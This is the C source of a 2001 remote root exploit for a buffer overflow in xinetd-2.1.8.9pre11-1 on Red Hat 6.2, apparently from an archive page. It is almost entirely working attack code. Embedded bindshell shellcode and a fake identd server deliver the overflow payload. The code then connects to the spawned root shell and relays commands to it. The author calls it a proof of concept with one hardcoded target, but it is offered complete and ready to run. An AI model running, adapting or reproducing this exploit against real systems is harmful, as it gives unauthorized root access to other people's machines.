home *** CD-ROM | disk | FTP | other *** search
- /*
- * xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
- * by qitest1 28/06/2001
- *
- * This is a proof of concept code for the exploitation of the bof
- * present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
- * code uses a single-byte corruption of the fp, as explained by klog.
- * sc_addr_pos is the position, from the beginning of the writable
- * area, where a pointer to the nop will be placed.
- *
- * For ethical reasons just one hardcoded target type will be provided.
- * Its values work only against one of the bugged 'pre' releases of
- * xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
- *
- * Greets: zen-parse, for having found this bug
- * klog, for his paper about the fp corruption
- * all my friends on the internet =)
- *
- * 100% pure 0x69. =)
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define MY_PORT 1
- #define THEIR_PORT 23
- #define IDENTD_PORT 113
- #define FIRST_PAD 1009
-
- struct targ
- {
- int def;
- char *descr;
- unsigned long int retaddr;
- int sc_addr_pos;
- };
-
- struct targ target[]=
- {
- {0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
- {69, NULL, 0}
- };
-
- char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
- "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
- "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
- "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
- "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
- "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
- "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
- "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
- "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
- "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
- "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
- "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
- "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
-
- char zbuf[1024], host[512];
- int sel = 0, offset = 0;
-
- int sockami2(char *host, int my_port, int their_port);
- void fake_identd(void);
- void l33t_buf(void);
- static void keep_clz(void) __attribute__ ((destructor));
- void shellami(int sock);
- void usage(char *progname);
-
- int
- main(int argc, char **argv)
- {
- int sock, cnt;
-
- printf("\n xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
-
- if(getuid())
- {
- fprintf(stderr, "Must be root babe\n");
- exit(1);
- }
-
- if(argc == 1)
- usage(argv[0]);
- host[0] = 0;
- while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
- {
- switch(cnt)
- {
- case 'h':
- strncpy(host, optarg, sizeof(host));
- host[sizeof(host)] = '\x00';
- break;
- case 't':
- sel = atoi(optarg);
- break;
- case 'o':
- offset = atoi(optarg);
- break;
- case 's':
- target[sel].sc_addr_pos = atoi(optarg);
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- if(host[0] == 0)
- usage(argv[0]);
-
- printf("+Host: %s\n as: %s\n", host, target[sel].descr);
- target[sel].retaddr += offset;
- printf("+Using: retaddr = %p and sc_addr_pos = %d...\n ok\n",
- target[sel].retaddr, target[sel].sc_addr_pos);
- printf("+Starting fake_identd...\n");
- fake_identd();
- return;
- }
-
- int
- sockami2(char *host, int my_port, int their_port)
- {
- struct sockaddr_in address;
- struct sockaddr_in my_addr;
- struct hostent *hp;
- int sock;
-
- sock = socket(AF_INET, SOCK_STREAM, 0);
- if(sock == -1)
- {
- perror("socket()");
- exit(-1);
- }
-
- hp = gethostbyname(host);
- if(hp == NULL)
- {
- perror("gethostbyname()");
- exit(-1);
- }
-
- my_addr.sin_family = AF_INET;
- my_addr.sin_port = htons(my_port);
- my_addr.sin_addr.s_addr = INADDR_ANY;
- bzero(&(my_addr.sin_zero), 8);
-
- if(bind(sock, (struct sockaddr *)&my_addr,
- sizeof(struct sockaddr)) == -1)
- {
- perror("bind()");
- exit(1);
- }
-
- memset(&address, 0, sizeof(address));
- memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
- address.sin_family = AF_INET;
- address.sin_port = htons(their_port);
-
- if(connect(sock, (struct sockaddr *) &address,
- sizeof(address)) == -1)
- {
- perror("connect()");
- exit(-1);
- }
-
- return(sock);
- }
-
- void
- fake_identd(void)
- {
- int sockfd, new_fd, sin_size, rem_port, loc_port, i;
- char rbuf[1024], sbuf[1024], cif[6], *ptr;
- struct sockaddr_in my_addr;
- struct sockaddr_in their_addr;
-
- printf(" fake_identd forking into background\n");
- if (!fork())
- {
- if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
- {
- perror("socket()");
- exit(1);
- }
-
- my_addr.sin_family = AF_INET;
- my_addr.sin_port = htons(IDENTD_PORT);
- my_addr.sin_addr.s_addr = INADDR_ANY;
- bzero(&(my_addr.sin_zero), 8);
-
- if(bind(sockfd, (struct sockaddr *)&my_addr,
- sizeof(struct sockaddr)) == -1)
- {
- perror("bind()");
- exit(1);
- }
-
- if(listen(sockfd, 1) == -1)
- {
- perror("listen()");
- exit(1);
- }
-
- while(1)
- {
- sin_size = sizeof(struct sockaddr_in);
- if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
- &sin_size)) == -1)
- {
- perror("accept()");
- continue;
- }
-
- /* Fake session
- */
- memset(rbuf, 0, sizeof(rbuf));
- recv(new_fd, rbuf, sizeof(rbuf), 0);
-
- /* Parsing of query
- */
- ptr = rbuf; i = 0;
- while(*ptr != ',')
- {
- cif[i] = *ptr;
- *ptr++; i ++;
- }
- sscanf(cif, "%d", &rem_port);
- memset(cif, 0, sizeof(cif));
- *ptr++; i = 0;
- while(*ptr != ' ')
- {
- cif[i] = *ptr;
- *ptr++; i++;
- }
- sscanf(cif, "%d", &loc_port);
-
- l33t_buf();
-
- memset(sbuf, 0, sizeof(sbuf));
- sprintf(sbuf, "%d,%d:USERID:%s\r\n",
- rem_port, loc_port, zbuf);
- send(new_fd, sbuf, strlen(sbuf), 0);
-
- memset(rbuf, 0, sizeof(rbuf));
- recv(new_fd, rbuf, sizeof(rbuf), 0);
-
- /* End
- */
- }
- }
- return;
- }
-
- void
- l33t_buf(void)
- {
- int i, n = 0;
-
- memset(zbuf, 0, sizeof(zbuf));
- for(i = 0; i < FIRST_PAD; i++)
- zbuf[i] = '\x69';
-
- memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
- for(i = target[sel].sc_addr_pos - strlen(shellcode);
- i < target[sel].sc_addr_pos;
- i++)
- zbuf[i] = shellcode[n++];
-
- zbuf[target[sel].sc_addr_pos + 0] =
- (u_char) (target[sel].retaddr & 0x000000ff);
- zbuf[target[sel].sc_addr_pos + 1] =
- (u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
- zbuf[target[sel].sc_addr_pos + 2] =
- (u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
- zbuf[target[sel].sc_addr_pos + 3] =
- (u_char)((target[sel].retaddr & 0xff000000) >> 24);
-
- return;
- }
-
- void
- keep_clz(void)
- {
- int sock;
-
- if(host[0] != 0)
- {
- printf("+Causing an auth request to our fake_identd\n");
- sock = sockami2(host, MY_PORT, THEIR_PORT);
- printf(" done\n");
- close(sock);
-
- printf("+Enjoy your root shell...\n 0x69 =)\n");
- sleep(1);
- sock = sockami2(host, 6969, 30464);
- shellami(sock);
- }
- }
-
- void
- shellami(int sock)
- {
- int n;
- char recvbuf[1024], *cmd = "id; uname -a\n";
- fd_set rset;
-
- send(sock, cmd, strlen(cmd), 0);
-
- while (1)
- {
- FD_ZERO(&rset);
- FD_SET(sock, &rset);
- FD_SET(STDIN_FILENO, &rset);
- select(sock+1, &rset, NULL, NULL, NULL);
- if(FD_ISSET(sock, &rset))
- {
- n = read(sock, recvbuf, 1024);
- if (n <= 0)
- {
- printf("Connection closed by foreign host.\n");
- exit(0);
- }
- recvbuf[n] = 0;
- printf("%s", recvbuf);
- }
- if (FD_ISSET(STDIN_FILENO, &rset))
- {
- n = read(STDIN_FILENO, recvbuf, 1024);
- if (n > 0)
- {
- recvbuf[n] = 0;
- write(sock, recvbuf, n);
- }
- }
- }
- return;
- }
-
- void
- usage(char *progname)
- {
- int i = 0;
-
- printf("Usage: %s [options]\n", progname);
- printf("Options:\n"
- " -h hostname\n"
- " -t target\n"
- " -o offset\n"
- " -s sc_addr_pos\n"
- "Available targets:\n");
- while(target[i].def != 69)
- {
- printf(" %d) %s\n", target[i].def, target[i].descr);
- i++;
- }
-
- exit(1);
- }
-